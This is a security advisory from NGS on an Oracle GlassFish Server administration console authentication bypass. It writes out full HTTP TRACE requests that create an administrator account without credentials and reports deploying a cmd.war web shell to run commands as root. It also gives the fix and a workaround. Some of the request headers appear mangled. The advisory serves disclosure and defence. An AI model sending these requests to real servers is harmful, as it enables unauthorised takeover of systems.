Increased exploitation of Oracle GlassFish Server Administration Console Remote Authentication Bypass


Name: Increased exploitation of Oracle GlassFish Server Administration Console Remote Authentication Bypass Vulnerability
Release Date:  5 January 2012
Reference: NGS00106
Discoverer: David Spencer 
Vendor: Oracle
Vendor Reference:
Systems Affected: Oracle GlassFish Server 2.1 and 3
Risk: High
Status: Published


Discovered: 26 August 2011
Released: 26 August 2011
Approved: 26 August 2011
Reported: 26 August 2011
Fixed: July 2011
Published:  5 January 2012


Core security released a bug in Oracle GlassFish Server Administration Console on 5th May 2011 which can be found here:
and here

The rating of this issue is classified as medium due to it only returning sensitive information. A full fix has been released by Oracle.

NGS found that it is possible to use this issue to create a GlassFish administrator account as an unauthenticated user.

Technical Details

There is a known authentication bypass in Glassfish, by using a TRACE method rather than a GET method it is possible to access data meant only for Glassfish administrators.
The following requests were used to create a new Glassfish administrator:

TRACE /common/security/realms/manageUserNew.jsf?name=admin-realm configName=server-config bare=true HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0) Gecko/20100101Firefox/6.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-gb,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Proxy-Connection: keep-alive
Referer: configName=server-config bare=true
Cookie: JSESSIONID=ada23501f36f1ec9148589e9a574

This then gave access to the create user page, however it is important that when the submit button is pressed the resultant POST request be converted to a TRACE request.

TRACE /common/security/realms/manageUserNew.jsf?propertyForm%3ApropertySheet%3ApropertSectionTextField%3AuserIdProp%3AUserId=NGSSecure propertyForm%3ApropertySheet%3ApropertSectionTextField%3AnewPasswordProp%3ANewPassword=Password!! propertyForm%3ApropertySheet%3ApropertSectionTextField%3AconfirmPasswordProp%3AConfirmPassword=Password!! propertyForm%3AhelpKey=ref-filerealmusernew.html propertyForm_hidden=propertyForm_hidden javax.faces.ViewState=-2309913764624097582%3A- 2546877703812727807 com_sun_webui_util_FocusManager_focusElementId=propertyForm%3ApropertyContentPage%3AtopButtons%3AnewButton javax.faces.source=propertyForm%3ApropertyContentPage%3AtopButtons%3AnewButton javax.faces.partial.execute=%40all javax.faces.partial.render=%40all bare=true propertyForm%3ApropertyContentPage%3AtopButtons%3AnewButton=propertyForm%3ApropertyContentPage%3AtopButtons%3AnewButton javax.faces.partial.ajax=true HTTP/1.1
Host: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0) Gecko/20100101Firefox/6.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-gb,en;q=0.5Accept-Encoding: gzip, deflateAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7Proxy-Connection: keep-aliveFaces-Request: partial/ajaxContent-Type: application/x-www-form-urlencoded; charset=UTF-8

Referer: configName=server-config
Content-Length: 0
Cookie: JSESSIONID=ada23501f36f1ec9148589e9a574
Pragma: no-cache
Cache-Control: no-cache

This created a user called NGSSecure with a password of Password!!

NGS then logged on to the Glassfish administration console using this newly created user. Once logged on as this user it was possible to upload and deploy a website, NGS deployed cmd.war which allowed the user to run commands under the context of the GlassFish server which is root by default.

Fix Information

This issue has been fixed in GlassFish 3.1, a workaround also exists which is to disable the TRACE method on the administrator consoles web port


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